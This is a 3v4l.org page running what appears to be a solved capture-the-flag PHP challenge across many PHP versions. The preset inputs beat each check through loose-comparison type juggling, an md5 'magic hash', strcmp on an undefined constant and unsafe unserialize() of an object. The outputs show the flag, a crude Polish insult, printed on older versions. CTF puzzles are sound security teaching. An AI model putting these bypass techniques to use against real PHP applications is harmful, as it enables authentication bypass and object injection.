3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_GET[1] = 'P1'; $_GET[2] = '10932435112'; $_GET[3] = '2000e3'; $_GET[4] = '2e6'; $_GET[5] = 'aa'; $_GET[6] = '13337.0'; $_GET[7] = '2'; $_GET[8] = 'MTExMjYyNzgxOA'; $_GET[9] = '9aaaaaaaab'; $_GET[10] = '1aaaaaaaaa'; $_GET[11] = 'O:4:"Flag":0:{}'; define('FLAG', 'DCTF{CHUJ WAM W DUPĘ}'); define('P2','Password147186970!'); define('P3', 2000000); $arg = 'D'; $init = ( ( $arg == 'D' ) ? 'w' : ( $arg == '-' ) ? 't' : ( $arg == 'C' ) ? 'f' : ( $arg == 'T' ) ? 'm' : ( $arg == 'F' ) ? 'a' : 'n' ); if(isset($_GET[6]) && !is_array($_GET[6]) && strlen($_GET[6]) === 7 && '13337' == $_GET[6] && isset($_GET[7]) && !is_array($_GET[7]) && strlen($_GET[7]) === 1 && '2.0' == $_GET[7] && isset($_GET[8]) && !is_array($_GET[8]) && isset($_GET[9]) && !is_array($_GET[9]) && strlen($_GET[9]) === 10 && isset($_GET[10]) && !is_array($_GET[10]) && strlen($_GET[10]) === 10 && $_GET[9] + $_GET[10] === 10) { if(isset($_GET[1]) && strcmp($_GET[1], P1) == 0) { if(isset($_GET[2]) && !is_array($_GET[2]) && sha1(intval($_GET[2])) == md5(P2)) { if(isset($_GET[3]) && !is_array($_GET[3]) && strlen($_GET[3]) === 6 && isset($_GET[4]) && !is_array($_GET[4]) && strlen($_GET[4]) === 3 && $_GET[3] == $_GET[4] && $_GET[3] == P3 && $_GET[4] == P3) { if(isset($_GET[5]) && !is_array($_GET[5]) && strlen($_GET[5]) === 2 && 31337 > $_GET[5]) { $hash = md5(str_repeat($init, 3) . base64_decode($_GET[8]). str_repeat($init,3)); if($hash == "0"){ $uh = unserialize($_GET[11]); die($uh); } } } } } } class Flag { public function __toString() { return 'Flag: '.FLAG; } }
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
Fatal error: Unparenthesized `a ? b : c ? d : e` is not supported. Use either `(a ? b : c) ? d : e` or `a ? b : (c ? d : e)` in /in/WfSqC on line 20
Process exited with code 255.
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Fatal error: Unparenthesized `a ? b : c ? d : e` is not supported. Use either `(a ? b : c) ? d : e` or `a ? b : (c ? d : e)` in /in/WfSqC on line 20
Process exited with code 255.
Output for 7.4.0 - 7.4.33
Deprecated: Unparenthesized `a ? b : c ? d : e` is deprecated. Use either `(a ? b : c) ? d : e` or `a ? b : (c ? d : e)` in /in/WfSqC on line 20 Deprecated: Unparenthesized `a ? b : c ? d : e` is deprecated. Use either `(a ? b : c) ? d : e` or `a ? b : (c ? d : e)` in /in/WfSqC on line 20 Deprecated: Unparenthesized `a ? b : c ? d : e` is deprecated. Use either `(a ? b : c) ? d : e` or `a ? b : (c ? d : e)` in /in/WfSqC on line 20 Deprecated: Unparenthesized `a ? b : c ? d : e` is deprecated. Use either `(a ? b : c) ? d : e` or `a ? b : (c ? d : e)` in /in/WfSqC on line 20 Notice: A non well formed numeric value encountered in /in/WfSqC on line 32 Notice: A non well formed numeric value encountered in /in/WfSqC on line 32 Warning: Use of undefined constant P1 - assumed 'P1' (this will throw an Error in a future version of PHP) in /in/WfSqC on line 33 Flag: DCTF{CHUJ WAM W DUPĘ}
Output for 7.3.32 - 7.3.33
Warning: Use of undefined constant P1 - assumed 'P1' (this will throw an Error in a future version of PHP) in /in/WfSqC on line 33 Flag: DCTF{CHUJ WAM W DUPĘ}
Output for 7.2.0 - 7.2.33, 7.3.0 - 7.3.31
Notice: A non well formed numeric value encountered in /in/WfSqC on line 32 Notice: A non well formed numeric value encountered in /in/WfSqC on line 32 Warning: Use of undefined constant P1 - assumed 'P1' (this will throw an Error in a future version of PHP) in /in/WfSqC on line 33 Flag: DCTF{CHUJ WAM W DUPĘ}
Output for 7.1.0 - 7.1.33
Notice: A non well formed numeric value encountered in /in/WfSqC on line 32 Notice: A non well formed numeric value encountered in /in/WfSqC on line 32 Notice: Use of undefined constant P1 - assumed 'P1' in /in/WfSqC on line 33 Flag: DCTF{CHUJ WAM W DUPĘ}
Output for 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33
Notice: Use of undefined constant P1 - assumed 'P1' in /in/WfSqC on line 33 Flag: DCTF{CHUJ WAM W DUPĘ}

preferences:
203.5 ms | 402 KiB | 335 Q